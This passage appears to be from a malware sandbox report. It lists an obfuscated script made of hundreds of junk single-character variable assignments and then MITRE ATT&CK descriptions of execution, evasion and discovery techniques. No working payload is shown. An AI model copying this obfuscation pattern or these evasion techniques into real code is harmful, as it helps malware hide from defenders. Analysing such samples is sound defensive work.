494	zqdbwf = "t";
495	zqdbwf = "d";
496	zqdbwf = "o";
497	zqdbwf = "S";
498	zqdbwf = "K";
499	zqdbwf = "o";
500	zqdbwf = "r";
501	zqdbwf = "M";
502	zqdbwf = "d";
503	zqdbwf = "x";
504	zqdbwf = "U";
505	zqdbwf = "r";
506	zqdbwf = "m";
507	zqdbwf = "e";
508	zqdbwf = "U";
509	zqdbwf = "Y";
510	zqdbwf = "K";
511	zqdbwf = "l";
512	zqdbwf = "H";
513	zqdbwf = "R";
514	zqdbwf = "t";
515	zqdbwf = "N";
516	zqdbwf = "l";
517	zqdbwf = "c";
518	zqdbwf = "u";
519	zqdbwf = "s";
520	zqdbwf = "J";
521	zqdbwf = "s";
522	zqdbwf = "Q";
523	zqdbwf = "n";
524	zqdbwf = "u";
525	zqdbwf = "Q";
526	zqdbwf = "F";
527	zqdbwf = "U";
528	zqdbwf = "f";
529	verao = "m";
530	verao = "Q";
531	verao = "F";
532	verao = "b";
533	verao = "M";
534	verao = "D";
535	verao = "C";
536	verao = "N";
537	verao = "n";
538	verao = "Z";
539	verao = "A";
540	verao = "U";
541	verao = "I";
542	verao = "i";
543	verao = "q";
544	verao = "p";
545	verao = "b";
546	verao = "s";
547	verao = "m";
548	verao = "a";
549	verao = "P";
550	ndhyfxwoq = "H";
551	ndhyfxwoq = "X";
552	ndhyfxwoq = "y";
553	ndhyfxwoq = "t";
554	ndhyfxwoq = "q";
555	ndhyfxwoq = "b";
556	ndhyfxwoq = "l";
557	ndhyfxwoq = "k";
558	ndhyfxwoq = "R";
559	ndhyfxwoq = "p";
560	ndhyfxwoq = "V";
561	ndhyfxwoq = "E";
562	ndhyfxwoq = "N";
563	ndhyfxwoq = "L";
564	ndhyfxwoq = "n";
565	ndhyfxwoq = "o";
566	ndhyfxwoq = "v";
567	ndhyfxwoq = "J";
568	ndhyfxwoq = ".";
569	whbao = "N";
570	whbao = "R";
571	whbao = "e";
572	whbao = "Q";
573	whbao = "p";
574	whbao = "u";
575	whbao = "A";
576	whbao = "L";
577	whbao = "z";
578	whbao = "t";
579	whbao = "S";
580	whbao = "I";
581	whbao = "m";
582	whbao = "R";
583	whbao = "d";
584	whbao = "r";
585	whbao = "S";
586	whbao = "F";
587	whbao = "K";
588	whbao = "c";
589	whbao = "P";
590	whbao = "T";
591	whbao = "U";
592	whbao = "L";
593	whbao = "t";
594	whbao = "s";
595	whbao = "M";
596	whbao = "F";
597	whbao = "g";
598	whbao = "d";
599	whbao = "a";
600	whbao = "p";
601	whbao = "u";
602	whbao = "H";
603	whbao = "d";
604	whbao = "V";
605	whbao = "L";
606	whbao = "A";
607	whbao = "i";
608	whbao = "O";
609	whbao = "x";
610	pxktzzkg = "a";
611	pxktzzkg = "S";
612	pxktzzkg = "m";
613	pxktzzkg = "U";
614	pxktzzkg = "j";
615	pxktzzkg = "S";
616	pxktzzkg = "K";
617	pxktzzkg = "t";
618	pxktzzkg = "J";
619	pxktzzkg = "t";
620	pxktzzkg = "e";
621	pxktzzkg = "C";
622	pxktzzkg = "W";
623	pxktzzkg = "x";
624	pxktzzkg = "h";
625	pxktzzkg = "P";
626	pxktzzkg = "H";
627	pxktzzkg = "H";
628	pxktzzkg = "J";
629	pxktzzkg = "c";
630	pxktzzkg = "o";
631	pxktzzkg = "Q";
632	pxktzzkg = "o";
633	pxktzzkg = "W";
634	pxktzzkg = "Y";
635	pxktzzkg = "o";
636	pxktzzkg = "S";
637	pxktzzkg = "U";
638	rkhnrn = "I";
639	fkyjta = "R";
640	fkyjta = "o";
641	fkyjta = "Y";
642	fkyjta = "t";
643	fkyjta = "V";
644	fkyjta = "G";
645	fkyjta = "w";
646	fkyjta = "S";
647	fkyjta = "x";
648	fkyjta = "R";
649	fkyjta = "K";
650	fkyjta = "v";
651	fkyjta = "m";
652	fkyjta = "b";
653	fkyjta = "w";
654	fkyjta = "f";
655	fkyjta = "Z";
656	fkyjta = "9";
657	fuvgfo = "b";
658	fuvgfo = "W";
659	fuvgfo = "o";
660	fuvgfo = "x";
661	fuvgfo = "F";
662	fuvgfo = "l";
663	fuvgfo = "R";
664	fuvgfo = "V";
665	fuvgfo = "f";
666	fuvgfo = "v";
667	fuvgfo = "d";
668	fuvgfo = "f";
669	fuvgfo = "c";
670	fuvgfo = "T";
671	fuvgfo = "X";
672	fuvgfo = "a";
673	fuvgfo = "V";
674	fuvgfo = "D";
675	fuvgfo = "d";
676	fuvgfo = "E";
677	fuvgfo = "m";
678	fuvgfo = "f";
679	fuvgfo = "D";
680	fuvgfo = "p";
681	fuvgfo = "S";
682	fuvgfo = "G";
683	fuvgfo = "b";
684	fuvgfo = "W";
685	fuvgfo = "n";
686	fuvgfo = "i";
687	fuvgfo = "Z";
688	fuvgfo = "w";
689	fuvgfo = "w";
690	fuvgfo = "V";
691	fuvgfo = "O";
692	fuvgfo = "Y";
693	fuvgfo = "_";
694	xzrns = "s";
695	xzrns = "k";
696	xzrns = "z";
697	xzrns = "e";
698	xzrns = "c";
699	xzrns = "n";
700	xzrns = "f";
701	xzrns = "S";
702	xzrns = "s";
703	xzrns = "f";
704	xzrns = "L";
705	xzrns = "F";
706	xzrns = "V";
707	xzrns = "F";
708	xzrns = "T";
709	xzrns = "t";
710	xzrns = "c";
711	xzrns = "H";
712	xzrns = "i";
713	xzrns = "W";
714	xzrns = "a";
715	xzrns = "W";
716	xzrns = "g";
717	xzrns = "J";
718	xzrns = "M";
719	xzrns = "t";
720	xzrns = "Q";
721	xzrns = "L";
722	epocaf = "q";
723	epocaf = "q";
724	epocaf = "r";
725	epocaf = "r";
726	epocaf = "S";
727	epocaf = "K";
728	epocaf = "i";
729	epocaf = "T";
730	epocaf = "R";
731	epocaf = "J";
732	epocaf = "O";
733	epocaf = "E";
734	epocaf = "d";
735	epocaf = "v";
736	epocaf = "N";
737	epocaf = "y";
738	epocaf = "p";
739	epocaf = "U";
740	epocaf = "C";
741	epocaf = "@";
742	sioysxgll = "L";
743	sioysxgll = "A";
744	sioysxgll = "x";
745	sioysxgll = "d";
746	sioysxgll = "j";
747	sioysxgll = "C";
748	sioysxgll = "f";
749	sioysxgll = "u";
750	sioysxgll = "r";
751	sioysxgll = "j";
752	sioysxgll = "f";
753	sioysxgll = "A";
754	sioysxgll = "j";
755	sioysxgll = "M";
756	sioysxgll = "a";
757	sioysxgll = "Z";
758	sioysxgll = "u";
759	sioysxgll = "Y";
760	izsiuus = "K";
761	izsiuus = "c";
762	izsiuus = "d";
763	izsiuus = "C";
764	izsiuus = "f";
765	izsiuus = "o";
766	izsiuus = "G";
767	izsiuus = "B";
768	izsiuus = "L";
769	izsiuus = "m";
770	izsiuus = "&";
771	zexisx = "n";
772	zexisx = "c";
773	zexisx = "A";
774	zexisx = "w";
775	zexisx = "m";
776	zexisx = "F";
777	zexisx = "Q";
778	zexisx = "H";
779	zexisx = "A";
780	zexisx = "k";
781	zexisx = "o";
782	zexisx = "I";
783	zexisx = " ";
784	scparzm = "b";
785	scparzm = "T";
786	scparzm = "w";
787	scparzm = "n";
788	scparzm = "C";
789	scparzm = "v";
790	scparzm = "L";
791	scparzm = "x";
792	scparzm = "e";
793	scparzm = "H";
794	scparzm = "S";
795	scparzm = "n";
796	scparzm = "L";
797	scparzm = "f";
798	scparzm = "q";
799	scparzm = "w";
800	scparzm = "o";
801	scparzm = "T";
802	scparzm = "i";
803	scparzm = "f";
804	scparzm = "l";
805	scparzm = "q";
806	scparzm = "S";
807	scparzm = "f";
808	scparzm = "\\";
809	fptons = "r";
810	fptons = "o";
811	fptons = "l";
812	fptons = "Z";
813	fptons = "a";
814	fptons = "i";
815	fptons = "p";
816	fptons = "l";
817	fptons = "W";
818	fptons = "I";
819	fptons = "d";
820	fptons = "P";
821	fptons = "t";
822	fptons = "w";
823	fptons = "B";
824	fptons = "o";
825	fptons = "I";
826	fptons = "H";
827	fptons = "L";
828	fptons = "q";
829	fptons = "g";
830	fptons = "w";
831	fptons = "k";
832	fptons = "A";
833	fptons = "I";
834	fptons = "D";
835	fptons = "n";
836	fptons = "E";
837	fptons = "B";
838	fptons = "o";
839	fptons = "p";
840	fptons = "n";
841	ulayk = "T";
842	ulayk = "b";
843	ulayk = "l";
844	ulayk = "n";
845	ulayk = "K";
846	ulayk = "A";
847	ulayk = "t";
848	ulayk = "j";
849	ulayk = "m";
850	ulayk = "Q";
851	ulayk = "S";
852	ulayk = "b";
853	ulayk = "y";
854	ulayk = "B";
855	ulayk = "T";
856	ulayk = "r";
857	qzeoagabp = "v";
858	qzeoagabp = "i";
859	qzeoagabp = "D";
860	qzeoagabp = "m";
861	qzeoagabp = "i";
862	qzeoagabp = "D";
863	qzeoagabp = "O";
864	qzeoagabp = "Z";
865	qzeoagabp = "s";
866	qzeoagabp = "f";
867	qzeoagabp = "I";
868	qzeoagabp = "l";
869	qzeoagabp = "v";
870	qzeoagabp = "S";
871	qzeoagabp = "w";
872	qzeoagabp = "g";
873	qzeoagabp = "m";
874	qzeoagabp = "c";
875	qzeoagabp = "M";
876	qzeoagabp = "e";
877	qzeoagabp = "u";
878	qzeoagabp = "v";
879	qzeoagabp = "D";
880	qzeoagabp = "Q";
881	qzeoagabp = "P";
882	qzeoagabp = "m";
883	qzeoagabp = "B";
884	qzeoagabp = "R";
885	qzeoagabp = "k";
886	qzeoagabp = "H";
887	qzeoagabp = "x";
888	qzeoagabp = "A";
889	qzeoagabp = "K";
890	qzeoagabp = "v";
891	qzeoagabp = "r";
892	qzeoagabp = "T";
893	qzeoagabp = "D";
894	qzeoagabp = "l";
895	qzeoagabp = "K";
896	qzeoagabp = "O";
897	qzeoagabp = "-";
898	ndswks = "g";
899	ndswks = "v";
900	ndswks = "s";
901	ndswks = "e";
902	ndswks = "H";
903	ndswks = "B";
904	ndswks = "P";
905	ndswks = "c";
906	ndswks = "P";
907	ndswks = "U";
908	ndswks = "A";
909	ndswks = "x";
910	ndswks = "A";
911	ndswks = "v";
912	ndswks = "N";
913	ndswks = "p";
914	ndswks = "B";
915	ndswks = "D";
916	ndswks = "t";
917	ndswks = "J";
918	ndswks = "x";
919	ndswks = "A";
920	ndswks = "z";
921	ndswks = "v";
922	ndswks = "s";
923	ndswks = "k";
924	ndswks = "R";
925	ndswks = "E";
926	ndswks = "c";
927	zaucv = "C";
928	zaucv = "Q";
929	zaucv = "s";
930	zaucv = "u";
931	zaucv = "w";
932	zaucv = "q";
933	zaucv = "G";
934	zaucv = "J";
935	zaucv = "x";
936	zaucv = "/";
937	ejoaha = "w";
938	ejoaha = "o";
939	ejoaha = "M";
940	ejoaha = "p";
941	ejoaha = "r";
942	ejoaha = "l";
943	ejoaha = "V";
944	ejoaha = "C";
945	ejoaha = "I";
946	ejoaha = "F";
947	qofpqogr = "h";
948	qofpqogr = "u";
949	qofpqogr = "E";
950	qofpqogr = "d";
951	qofpqogr = "A";
952	qofpqogr = "P";
953	qofpqogr = "g";
954	qofpqogr = "d";
955	qofpqogr = "D";
956	qofpqogr = "m";
957	qofpqogr = "F";
958	qofpqogr = "Z";
959	qofpqogr = "U";
960	qofpqogr = "p";
961	qofpqogr = "M";
962	qofpqogr = "H";
963	qofpqogr = "R";
964	qofpqogr = "d";
965	qofpqogr = "H";
966	qofpqogr = "G";
967	qofpqogr = "s";
968	qofpqogr = "J";
969	qofpqogr = "c";
970	qofpqogr = "j";
971	qofpqogr = "T";
972	hthwhrn = "h";
973	hthwhrn = "o";
974	hthwhrn = "G";
975	hthwhrn = "y";
976	hthwhrn = "q";
977	hthwhrn = "H";
978	hthwhrn = "P";
979	hthwhrn = "L";
980	hthwhrn = "f";
981	hthwhrn = "p";
982	hthwhrn = "W";
983	hthwhrn = "c";
984	hthwhrn = "w";
985	hthwhrn = "u";
986	hthwhrn = "T";
987	hthwhrn = "M";
988	hthwhrn = "R";
989	hthwhrn = "I";
990	hthwhrn = "Z";
991	hthwhrn = "w";
992	hthwhrn = "h";
993	hthwhrn = "s";
994	hthwhrn = "D";
995	hthwhrn = "m";
996	hthwhrn = "J";
997	hthwhrn = "K";
998	hthwhrn = "r";
999	hthwhrn = "x";
1000	hthwhrn = "r";
1001	hthwhrn = "f";
1002	hthwhrn = "X";
1003	hthwhrn = "H";
1004	hthwhrn = "A";
1005	hthwhrn = "r";
1006	hthwhrn = "w";
1007	hthwhrn = "z";
1008	hthwhrn = "K";
1009	hthwhrn = "w";
1010	hthwhrn = "l";
1011	mcbxjwf = "j";
1012	mcbxjwf = "C";
1013	mcbxjwf = "e";
1014	mcbxjwf = "v";
1015	mcbxjwf = "y";
1016	mcbxjwf = "D";
1017	mcbxjwf = "E";
1018	mcbxjwf = "q";
1019	mcbxjwf = "c";
1020	mcbxjwf = "M";
1021	mcbxjwf = "A";
1022	mcbxjwf = "R";
1023	mcbxjwf = "j";
1024	mcbxjwf = "W";
1025	mcbxjwf = "i";
1026	mcbxjwf = "m";
1027	mcbxjwf = "d";
1028	mcbxjwf = "U";
1029	mcbxjwf = "z";
1030	mcbxjwf = "R";
1031	mcbxjwf = "z";
1032	mcbxjwf = "n";
1033	mcbxjwf = "C";
1034	mcbxjwf = "e";
1035	mcbxjwf = "N";
1036	mcbxjwf = "L";
1037	mcbxjwf = "d";
1038	mcbxjwf = "A";
1039	mcbxjwf = "z";
1040	mcbxjwf = "t";
1041	qeizs = "d";
1042	qeizs = "L";
1043	qeizs = "p";
1044	qeizs = "C";
1045	qeizs = "x";
1046	qeizs = "H";
1047	qeizs = "l";
1048	qeizs = "Z";
1049	qeizs = "Z";
1050	qeizs = "W";
1051	qeizs = "z";
1052	qeizs = "k";
1053	qeizs = "a";
1054	qeizs = "h";
1055	qeizs = "D";
1056	qeizs = "i";
1057	qeizs = "s";
1058	qeizs = "C";
1059	qeizs = "r";
1060	qeizs = "d";
1061	qeizs = "f";
1062	qeizs = "j";
1063	qeizs = "Y";
1064	qeizs = "s";
1065	qeizs = "P";
1066	qeizs = "z";
1067	qeizs = "r";
1068	qeizs = "i";
1069	qeizs = "I";
1070	qeizs = "D";
1071	qeizs = "S";
1072	qeizs = "e";
1073	qeizs = "e";
1074	qeizs = "L";
1075	qeizs = "W";
1076	qeizs = "Z";
1077	qeizs = "T";
1078	qeizs = "H";
1079	qeizs = "C";
1080	qeizs = "r";
1081	qeizs = "g";
1082	faoqiyc = "w";
1083	mrsrfq = "C";
1084	mrsrfq = "V";
1085	mrsrfq = "d";
1086	mrsrfq = "R";
1087	mrsrfq = "Y";
1088	mrsrfq = "L";
1089	mrsrfq = "E";
1090	mrsrfq = "t";
1091	mrsrfq = "U";
1092	mrsrfq = "g";
1093	mrsrfq = "Z";
1094	mrsrfq = "v";
1095	mrsrfq = "I";
1096	mrsrfq = "P";
1097	mrsrfq = "h";
1098	mrsrfq = "y";
1099	mrsrfq = "l";
1100	mrsrfq = "S";
1101	mrsrfq = "Y";
1102	mrsrfq = "k";
1103	xetebcve = "p";
1104	xetebcve = "N";
1105	xetebcve = "5";
1106	wuchx = "V";
1107	wuchx = "d";
1108	wuchx = "r";
1109	wuchx = "N";
1110	wuchx = "G";
1111	wuchx = "o";
1112	wuchx = "h";
1113	wuchx = "K";
1114	wuchx = "U";
1115	wuchx = "K";
1116	wuchx = "l";
1117	wuchx = "k";
1118	wuchx = "G";
1119	wuchx = "P";
1120	wuchx = "T";
1121	wuchx = "i";
1122	wuchx = "b";
1123	wuchx = "r";
1124	wuchx = "t";
1125	wuchx = "i";
1126	kqqxxzzyz = "N";
1127	kqqxxzzyz = "B";
1128	kqqxxzzyz = "B";
1129	kqqxxzzyz = "D";
1130	kqqxxzzyz = "E";
1131	kqqxxzzyz = "x";
1132	kqqxxzzyz = "V";
1133	kqqxxzzyz = "s";
1134	kqqxxzzyz = "q";
1135	kqqxxzzyz = "f";
1136	kqqxxzzyz = "T";
1137	kqqxxzzyz = "L";
1138	kqqxxzzyz = "Q";
1139	kqqxxzzyz = "f";
1140	kqqxxzzyz = "v";
1141	kqqxxzzyz = "x";
1142	kqqxxzzyz = "L";
1143	kqqxxzzyz = "s";
1144	kqqxxzzyz = "g";
1145	kqqxxzzyz = "T";
1146	kqqxxzzyz = "X";
1147	kqqxxzzyz = "g";
1148	kqqxxzzyz = "a";
1149	kqqxxzzyz = "Q";
1150	kqqxxzzyz = "m";
1151	kqqxxzzyz = "e";
1152	kqqxxzzyz = "H";
1153	lhxcafi = "f";
1154	lhxcafi = "e";
1155	lhxcafi = "k";
1156	lhxcafi = "O";
1157	lhxcafi = "s";
1158	lhxcafi = "H";
1159	lhxcafi = "A";
1160	lhxcafi = "v";
1161	lhxcafi = "U";
1162	lhxcafi = "i";
1163	lhxcafi = "S";
1164	lhxcafi = "j";
1165	lhxcafi = "l";
1166	lhxcafi = "l";
1167	lhxcafi = "P";
1168	lhxcafi = "E";
1169	lhxcafi = "R";
1170	lhxcafi = "u";
1171	lhxcafi = "d";
1172	lhxcafi = "W";
1173	lhxcafi = "U";
1174	lhxcafi = "v";
1175	lhxcafi = "B";
1176	lhxcafi = "L";
1177	lhxcafi = "d";
1178	lhxcafi = "I";
1179	lhxcafi = "W";
1180	lhxcafi = "P";
1181	lhxcafi = "d";
1182	lhxcafi = "l";
1183	lhxcafi = "n";
1184	lhxcafi = "K";
1185	lhxcafi = "M";
1186	lhxcafi = "r";
1187	lhxcafi = "y";
1188	lhxcafi = "L";
1189	lhxcafi = "y";
1190	lhxcafi = "d";
1191	yzjvegehr = "n";
1192	yzjvegehr = "t";
1193	yzjvegehr = "a";
1194	yzjvegehr = "x";
1195	yzjvegehr = "h";
1196	yzjvegehr = "q";
1197	yzjvegehr = "O";
1198	yzjvegehr = "c";
1199	yzjvegehr = "e";
1200	yzjvegehr = "n";
1201	yzjvegehr = "n";
1202	yzjvegehr = "Z";
1203	yzjvegehr = "q";
1204	yzjvegehr = "e";
1205	yzjvegehr = "P";
1206	yzjvegehr = "o";
1207	yzjvegehr = "P";
1208	yzjvegehr = "D";
1209	yzjvegehr = "f";
1210	yzjvegehr = "N";
1211	yzjvegehr = "N";
1212	yzjvegehr = "H";
1213	yzjvegehr = "y";
1214	yzjvegehr = "f";
1215	yzjvegehr = "S";
1216	xmjuurlhb = "v";
1217	urymii = "b";
1218	fuhqu = "C";
1219	fuhqu = "n";
1220	fuhqu = "h";
1221	fuhqu = "n";
1222	fuhqu = "H";
1223	fuhqu = "V";
1224	fuhqu = "j";
1225	fuhqu = "M";
1226	fuhqu = "r";
1227	fuhqu = "O";
1228	fuhqu = "h";
1229	fuhqu = "L";
1230	fuhqu = "E";
1231	fuhqu = "f";
1232	fuhqu = "l";
1233	fuhqu = "c";
1234	fuhqu = "h";
1235	fuhqu = "L";
1236	fuhqu = "z";
1237	fuhqu = "j";
1238	fuhqu = "Z";
1239	fuhqu = "U";
1240	fuhqu = "m";
1241	fuhqu = "y";
1242	fuhqu = "G";
1243	fuhqu = "Y";
1244	fuhqu = "O";
1245	fuhqu = "J";
1246	fuhqu = "g";
1247	fuhqu = "T";
1248	fuhqu = "d";
1249	fuhqu = "n";
1250	fuhqu = "o";
1251	fuhqu = "P";
1252	fuhqu = "F";
1253	fuhqu = "m";
1254	fuhqu = "q";
1255	fuhqu = "G";
1256	fuhqu = "W";
1257	fuhqu = "6";
1258	hkblk = "P";
1259	hkblk = "K";
1260	hkblk = "Z";
1261	hkblk = "S";
1262	hkblk = "H";
1263	hkblk = "N";
1264	hkblk = "R";
1265	hkblk = "F";
1266	hkblk = "W";
1267	hkblk = "x";
1268	hkblk = "H";
1269	hkblk = "M";
1270	hkblk = "c";
1271	hkblk = "F";
1272	hkblk = "i";
1273	hkblk = "n";
1274	hkblk = "w";
1275	hkblk = "N";
1276	hkblk = "C";
1277	hkblk = "s";
1278	hkblk = "V";
1279	hkblk = "r";
1280	hkblk = "X";
1281	hkblk = "s";
1282	hkblk = "K";
1283	hkblk = "S";
1284	hkblk = "Y";
1285	hkblk = "p";
1286	hkblk = "j";
1287	hkblk = "Q";
1288	hkblk = "j";
1289	hkblk = "u";
1290	hkblk = "L";
1291	hkblk = "h";
1292	hkblk = "Z";
1293	hkblk = "V";
1294	hkblk = "S";
1295	hkblk = "l";
1296	hkblk = "r";
1297	hkblk = "B";
1298	hkblk = "L";
1299	hkblk = "V";
1300	hkblk = "W";
1301	ouzqy = "l";
1302	ouzqy = "v";
1303	ouzqy = "h";
1304	ouzqy = "P";
1305	ouzqy = "M";
1306	ouzqy = "q";
1307	ouzqy = "U";
1308	ouzqy = "J";
1309	ouzqy = "w";
1310	ouzqy = "R";
1311	ouzqy = "q";
1312	ouzqy = "o";
1313	ouzqy = "L";
1314	ouzqy = "B";
1315	ouzqy = "w";
1316	ouzqy = "c";
1317	ouzqy = "A";
1318	ouzqy = "m";
1319	yuoopzut = "s";
1320	yuoopzut = "Z";
1321	yuoopzut = "D";
1322	yuoopzut = "h";
1323	yuoopzut = "f";
1324	yuoopzut = "R";
1325	yuoopzut = "w";
1326	yuoopzut = "B";
1327	yuoopzut = "T";
1328	yuoopzut = "n";
1329	yuoopzut = "Q";
1330	yuoopzut = "L";
1331	yuoopzut = "k";
1332	yuoopzut = "u";
1333	yuoopzut = "b";
1334	yuoopzut = "q";
1335	yuoopzut = "X";
1336	yuoopzut = "D";
1337	yuoopzut = "X";
1338	yuoopzut = "z";
1339	yuoopzut = "U";
1340	yuoopzut = "u";
1341	yuoopzut = "V";
1342	yuoopzut = "N";
1343	yuoopzut = "f";
1344	yuoopzut = "A";
1345	yuoopzut = "h";
1346	yuoopzut = "V";
1347	yuoopzut = "n";
1348	yuoopzut = "Q";
1349	yuoopzut = "w";
1350	yuoopzut = "V";
1351	yuoopzut = "e";
1352	yavow = "Y";
1353	yavow = "B";
1354	yavow = "P";
1355	yavow = "M";
1356	yavow = "H";
1357	yavow = "G";
1358	yavow = "J";
1359	yavow = "F";
1360	yavow = "K";
1361	yavow = "O";
1362	yavow = "h";
1363	yavow = "o";
1364	yavow = "V";
1365	yavow = "J";
1366	yavow = "q";
1367	yavow = "A";
1368	yavow = "u";
1369	yavow = "A";
1370	yavow = "Y";
1371	yavow = "A";
1372	yavow = "u";
1373	yavow = "S";
1374	yavow = "R";
1375	yavow = "w";
1376	yavow = "c";
1377	yavow = "L";
1378	yavow = "P";
1379	yavow = "B";
1380	yavow = "b";
1381	yavow = "O";
1382	yavow = "b";
1383	yavow = "J";
1384	yavow = "T";
1385	yavow = "U";
1386	yavow = "f";
1387	yavow = "j";
1388	gphrs = "K";
1389	gphrs = "K";
1390	gphrs = "O";
1391	gphrs = "c";
1392	gphrs = "z";
1393	gphrs = "N";
1394	gphrs = "n";
1395	gphrs = "d";
1396	gphrs = "p";
1397	gphrs = "m";
1398	gphrs = "W";
1399	gphrs = "C";
1400	gphrs = "m";
1401	gphrs = "S";
1402	gphrs = "Z";
1403	gphrs = "Y";
1404	gphrs = "m";
1405	gphrs = "l";
1406	gphrs = "a";
1407	gphrs = "M";
1408	gphrs = "E";
1409	qpkcsje ( );	qpkcsje() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
